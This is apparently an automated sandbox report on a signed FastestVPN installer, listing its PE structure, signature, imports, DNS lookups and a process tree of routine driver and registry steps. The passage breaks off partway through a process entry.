                                                                                                                    SSDEEP:393216:t2mczl3lAgJ28r6v3Bgl/LisR4Ox9QC9Jx:fczl1AgJnev3gKOx99x
                                                                                                                    TLSH:47D62313B3C7A43EF06E2BB345B2A02458F76E206522BE1696F4B46CCF354615D3E74A
                                                                                                                    File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                    File Icon

                                                                                                                    Icon Hash:701e0760791c0641

                                                                                                                    Static PE Info

                                                                                                                    General

                                                                                                                    Entrypoint:0x4a83bc
                                                                                                                    Entrypoint Section:.itext
                                                                                                                    Digitally signed:true
                                                                                                                    Imagebase:0x400000
                                                                                                                    Subsystem:windows gui
                                                                                                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                    Time Stamp:0x666711EF [Mon Jun 10 14:47:11 2024 UTC]
                                                                                                                    TLS Callbacks:
                                                                                                                    CLR (.Net) Version:
                                                                                                                    OS Version Major:6
                                                                                                                    OS Version Minor:1
                                                                                                                    File Version Major:6
                                                                                                                    File Version Minor:1
                                                                                                                    Subsystem Version Major:6
                                                                                                                    Subsystem Version Minor:1
                                                                                                                    Import Hash:40ab50289f7ef5fae60801f88d4541fc

                                                                                                                    Authenticode Signature

                                                                                                                    Signature Valid:true
                                                                                                                    Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                                                                    Signature Validation Error:The operation completed successfully
                                                                                                                    Error Number:0
                                                                                                                    Not Before, Not After
                                                                                                                    • 15/01/2024 21:45:41 14/01/2025 21:45:41
                                                                                                                    Subject Chain
                                                                                                                    • OID.1.3.6.1.4.1.311.60.2.1.3=CA, OID.2.5.4.15=Private Organization, CN=Acira Consulting Inc., SERIALNUMBER=987024-5, O=Acira Consulting Inc., L=Mississauga, S=Ontario, C=CA
                                                                                                                    Version:3
                                                                                                                    Thumbprint MD5:4C9BC68042EB932BDCEC05026258C237
                                                                                                                    Thumbprint SHA-1:A70AB688FF0A7C3A22B030FBFFA8B56DC31F650A
                                                                                                                    Thumbprint SHA-256:49EB14C9EFDE16BD0546A80F058C7D10871ADACFD3B550A4F7007080377DA3BA
                                                                                                                    Serial:748A88467D46DF98B5246AFC4F5EEC64

                                                                                                                    Entrypoint Preview

                                                                                                                    Instruction
                                                                                                                    push ebp
                                                                                                                    mov ebp, esp
                                                                                                                    add esp, FFFFFFA4h
                                                                                                                    push ebx
                                                                                                                    push esi
                                                                                                                    push edi
                                                                                                                    xor eax, eax
                                                                                                                    mov dword ptr [ebp-3Ch], eax
                                                                                                                    mov dword ptr [ebp-40h], eax
                                                                                                                    mov dword ptr [ebp-5Ch], eax
                                                                                                                    mov dword ptr [ebp-30h], eax
                                                                                                                    mov dword ptr [ebp-38h], eax
                                                                                                                    mov dword ptr [ebp-34h], eax
                                                                                                                    mov dword ptr [ebp-2Ch], eax
                                                                                                                    mov dword ptr [ebp-28h], eax
                                                                                                                    mov dword ptr [ebp-14h], eax
                                                                                                                    mov eax, 004A2EBCh
                                                                                                                    call 00007F4158F81CE5h
                                                                                                                    xor eax, eax
                                                                                                                    push ebp
                                                                                                                    push 004A8AC1h
                                                                                                                    push dword ptr fs:[eax]
                                                                                                                    mov dword ptr fs:[eax], esp
                                                                                                                    xor edx, edx
                                                                                                                    push ebp
                                                                                                                    push 004A8A7Bh
                                                                                                                    push dword ptr fs:[edx]
                                                                                                                    mov dword ptr fs:[edx], esp
                                                                                                                    mov eax, dword ptr [004B0634h]
                                                                                                                    call 00007F415901366Bh
                                                                                                                    call 00007F41590131BEh
                                                                                                                    lea edx, dword ptr [ebp-14h]
                                                                                                                    xor eax, eax
                                                                                                                    call 00007F415900DE98h
                                                                                                                    mov edx, dword ptr [ebp-14h]
                                                                                                                    mov eax, 004B41F4h
                                                                                                                    call 00007F4158F7BD93h
                                                                                                                    push 00000002h
                                                                                                                    push 00000000h
                                                                                                                    push 00000001h
                                                                                                                    mov ecx, dword ptr [004B41F4h]
                                                                                                                    mov dl, 01h
                                                                                                                    mov eax, dword ptr [0049CD14h]
                                                                                                                    call 00007F415900F1C3h
                                                                                                                    mov dword ptr [004B41F8h], eax
                                                                                                                    xor edx, edx
                                                                                                                    push ebp
                                                                                                                    push 004A8A27h
                                                                                                                    push dword ptr fs:[edx]
                                                                                                                    mov dword ptr fs:[edx], esp
                                                                                                                    call 00007F41590136F3h
                                                                                                                    mov dword ptr [004B4200h], eax
                                                                                                                    mov eax, dword ptr [004B4200h]
                                                                                                                    cmp dword ptr [eax+0Ch], 01h
                                                                                                                    jne 00007F415901A3DAh
                                                                                                                    mov eax, dword ptr [004B4200h]
                                                                                                                    mov edx, 00000028h
                                                                                                                    call 00007F415900FAB8h
                                                                                                                    mov edx, dword ptr [004B4200h]

                                                                                                                    Data Directories

                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0xb70000x71.edata
                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xb50000xfec.idata
                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xba0000x70a8.rsrc
                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0xc7a7500x2020
                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0xb90000x18.rdata
                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0xb52d40x25c.idata
                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xb60000x1a4.didata
                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                    Sections

                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                    .text0x10000xa568c0xa5800b889d302f6fc48a904de33d8d947ae80False0.3620185045317221data6.377190161826806IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                    .itext0xa70000x1b640x1c00588dd0a8ab499300d3701cbd11b017d9False0.548828125data6.109264411030635IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                    .data0xa90000x38380x3a005c0c76e77aef52ebc6702430837ccb6eFalse0.35338092672413796data4.95916338709992IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                    .bss0xad0000x72580x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                    .idata0xb50000xfec0x1000627340dff539ef99048969aa4824fb2dFalse0.380615234375data5.020404933181373IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                    .didata0xb60000x1a40x200fd11c1109737963cc6cb7258063abfd6False0.34765625data2.729290535217263IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                    .edata0xb70000x710x2007de8ca0c7a61668a728fd3a88dc0942dFalse0.1796875data1.305578535725827IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                    .tls0xb80000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                    .rdata0xb90000x5d0x200d84006640084dc9f74a07c2ff9c7d656False0.189453125data1.3892750148744617IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                    .rsrc0xba0000x70a80x7200f6bc0789dd9c2ecc306327da1919a71aFalse0.25764117324561403data4.41719887364031IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                    Resources

                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                    RT_ICON0xba4980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.3980496453900709
                                                                                                                    RT_ICON0xba9000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.274155722326454
                                                                                                                    RT_ICON0xbb9a80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.16514522821576763
                                                                                                                    RT_STRING0xbdf500x3f8data0.3198818897637795
                                                                                                                    RT_STRING0xbe3480x2dcdata0.36475409836065575
                                                                                                                    RT_STRING0xbe6240x430data0.40578358208955223
                                                                                                                    RT_STRING0xbea540x44cdata0.38636363636363635
                                                                                                                    RT_STRING0xbeea00x2d4data0.39226519337016574
                                                                                                                    RT_STRING0xbf1740xb8data0.6467391304347826
                                                                                                                    RT_STRING0xbf22c0x9cdata0.6410256410256411
                                                                                                                    RT_STRING0xbf2c80x374data0.4230769230769231
                                                                                                                    RT_STRING0xbf63c0x398data0.3358695652173913
                                                                                                                    RT_STRING0xbf9d40x368data0.3795871559633027
                                                                                                                    RT_STRING0xbfd3c0x2a4data0.4275147928994083
                                                                                                                    RT_RCDATA0xbffe00x10data1.5
                                                                                                                    RT_RCDATA0xbfff00x310data0.6173469387755102
                                                                                                                    RT_RCDATA0xc03000x2cdata1.2045454545454546
                                                                                                                    RT_GROUP_ICON0xc032c0x30dataEnglishUnited States0.9166666666666666
                                                                                                                    RT_VERSION0xc035c0x5a4dataEnglishUnited States0.2257617728531856
                                                                                                                    RT_MANIFEST0xc09000x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                                                                                                                    Imports

                                                                                                                    DLLImport
                                                                                                                    kernel32.dllGetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                                                                                                    comctl32.dllInitCommonControls
                                                                                                                    user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                                                                                                    oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                                                                                                    advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

                                                                                                                    Exports

                                                                                                                    NameOrdinalAddress
                                                                                                                    __dbk_fcall_wrapper20x40fc10
                                                                                                                    dbkFCallWrapperAddr10x4b063c

                                                                                                                    Possible Origin

                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                    EnglishUnited States

                                                                                                                    Network Behavior

                                                                                                                    DNS Answers

                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                    Oct 3, 2024 10:15:48.531328917 CEST1.1.1.1192.168.2.80xfb10No error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:15:48.531328917 CEST1.1.1.1192.168.2.80xfb10No error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:16:28.336558104 CEST1.1.1.1192.168.2.80xc9f6No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:16:28.336558104 CEST1.1.1.1192.168.2.80xc9f6No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:16:29.044975042 CEST1.1.1.1192.168.2.80x232dNo error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:16:29.044975042 CEST1.1.1.1192.168.2.80x232dNo error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:17:19.235681057 CEST1.1.1.1192.168.2.80x2042No error (0)edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.comdefault.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:17:19.235681057 CEST1.1.1.1192.168.2.80x2042No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com217.20.57.34A (IP address)IN (0x0001)false
                                                                                                                    Oct 3, 2024 10:17:19.235681057 CEST1.1.1.1192.168.2.80x2042No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com217.20.57.18A (IP address)IN (0x0001)false

                                                                                                                    Statistics

                                                                                                                    CPU Usage

                                                                                                                    Click to jump to process

                                                                                                                    Memory Usage

                                                                                                                    Click to jump to process

                                                                                                                    High Level Behavior Distribution

                                                                                                                    Click to dive into process behavior distribution

                                                                                                                    Behavior

                                                                                                                    Click to jump to process

                                                                                                                    System Behavior

                                                                                                                    General

                                                                                                                    Target ID:1
                                                                                                                    Start time:04:15:33
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Users\user\Desktop\mnFHs2DuKg.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Users\user\Desktop\mnFHs2DuKg.exe"
                                                                                                                    Imagebase:0x400000
                                                                                                                    File size:13'092'720 bytes
                                                                                                                    MD5 hash:9B5F9E0459CF54039A5BD005835DAF7A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:Borland Delphi
                                                                                                                    Reputation:low
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:2
                                                                                                                    Start time:04:15:34
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp" /SL5="$10460,12233551,735744,C:\Users\user\Desktop\mnFHs2DuKg.exe"
                                                                                                                    Imagebase:0x400000
                                                                                                                    File size:3'045'888 bytes
                                                                                                                    MD5 hash:319E022A72BA671928D266B7D372414E
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:Borland Delphi
                                                                                                                    Reputation:low
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:5
                                                                                                                    Start time:04:16:07
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
                                                                                                                    Imagebase:0x7ff7f61d0000
                                                                                                                    File size:289'792 bytes
                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:high
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:6
                                                                                                                    Start time:04:16:07
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:high
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:7
                                                                                                                    Start time:04:16:08
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\reg.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
                                                                                                                    Imagebase:0x7ff65f2f0000
                                                                                                                    File size:77'312 bytes
                                                                                                                    MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:moderate
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:8
                                                                                                                    Start time:04:16:08
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\find.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:find /i "x86"
                                                                                                                    Imagebase:0x7ff659a50000
                                                                                                                    File size:17'920 bytes
                                                                                                                    MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:moderate
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:9
                                                                                                                    Start time:04:16:08
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c ver
                                                                                                                    Imagebase:0x7ff7f61d0000
                                                                                                                    File size:289'792 bytes
                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:high
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:10
                                                                                                                    Start time:04:16:08
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:tapinstall.exe remove tap0901
                                                                                                                    Imagebase:0x7ff76a6d0000
                                                                                                                    File size:507'728 bytes
                                                                                                                    MD5 hash:E313336C82EB265542664CC7A360C5FF
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:low
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:11
                                                                                                                    Start time:04:16:09
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:tapinstall.exe install OemVista.inf tap0901
                                                                                                                    Imagebase:0x7ff76a6d0000
                                                                                                                    File size:507'728 bytes
                                                                                                                    MD5 hash:E313336C82EB265542664CC7A360C5FF
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:low
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:12
                                                                                                                    Start time:04:16:10
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                                    Imagebase:0x7ff67e6d0000
                                                                                                                    File size:55'320 bytes
                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:high
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:13
                                                                                                                    Start time:04:16:10
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\drvinst.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "000000000000016C" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"
                                                                                                                    Imagebase:0x7ff655900000
                                                                                                                    File size:337'920 bytes
                                                                                                                    MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:moderate
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:14
                                                                                                                    Start time:04:16:15
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\drvinst.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000154"
                                                                                                                    Imagebase:0x7ff655900000
                                                                                                                    File size:337'920 bytes
                                                                                                                    MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:moderate
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:16
                                                                                                                    Start time:04:16:17
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
                                                                                                                    Imagebase:0x7ff67e6d0000
                                                                                                                    File size:55'320 bytes
                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Reputation:high
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:21
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""
                                                                                                                    Imagebase:0x7ff7f61d0000
                                                                                                                    File size:289'792 bytes
                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:22
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:23
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\sc.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:sc stop fastestvpndriver
                                                                                                                    Imagebase:0x7ff786010000
                                                                                                                    File size:72'192 bytes
                                                                                                                    MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:24
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Program Files\FastestVPN\FastestVPN.exe" -autorun
                                                                                                                    Imagebase:0xe0000
                                                                                                                    File size:2'059'432 bytes
                                                                                                                    MD5 hash:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                    Has elevated privileges:false
                                                                                                                    Has administrator privileges:false
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:25
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:26
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\reg.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
                                                                                                                    Imagebase:0x7ff65f2f0000
                                                                                                                    File size:77'312 bytes
                                                                                                                    MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:27
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\find.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:find /i "x86"
                                                                                                                    Imagebase:0x7ff659a50000
                                                                                                                    File size:17'920 bytes
                                                                                                                    MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:28
                                                                                                                    Start time:04:16:19
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\reg.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
                                                                                                                    Imagebase:0x7ff65f2f0000
                                                                                                                    File size:77'312 bytes
